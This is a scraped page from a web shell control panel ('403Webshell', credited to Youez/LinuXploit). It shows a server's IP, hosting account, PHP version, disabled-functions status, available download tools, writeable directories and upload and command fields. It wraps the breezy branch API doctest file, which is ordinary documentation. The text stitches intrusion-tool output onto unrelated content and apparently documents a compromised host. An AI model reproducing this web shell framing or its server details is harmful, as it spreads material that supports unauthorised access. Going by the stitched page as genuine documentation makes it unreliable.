403Webshell
Server IP : 217.160.0.251  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u94981163 ( 8991765)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/kunden/kunden/lib/python3/dist-packages/breezy/doc/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/kunden/kunden/lib/python3/dist-packages/breezy/doc/api/branch.txt
The Branch API in breezy provides creation and management of Branches.

A Branch represents a series of commits and merges carried out by a user.

Make a temporary directory for these tests:

   >>> from breezy import osutils
   >>> test_dir = osutils.mkdtemp(prefix='breezy_doc_api_branch_txt_')

Branches are created by ControlDir's:

   >>> from breezy.branch import Branch
   >>> from breezy.controldir import ControlDir

   >>> new_branch = ControlDir.create_branch_convenience(test_dir)

Existing Branches can be opened directly:

   >>> transport = new_branch.controldir.transport
   >>> another_instance = Branch.open(transport.clone('..').base)

or via the ControlDir:

   >>> still_the_same_branch = new_branch.controldir.open_branch()

A branch has a history of revisions on it:

   >>> new_branch.last_revision()
   'null:'

We need to write some more documentation, showing
push and pull operations. Cloning might also be nice.

And finally, clean up:

   >>> import shutil
   >>> shutil.rmtree(test_dir)

Youez - 2016 - github.com/yon3zu
LinuXploit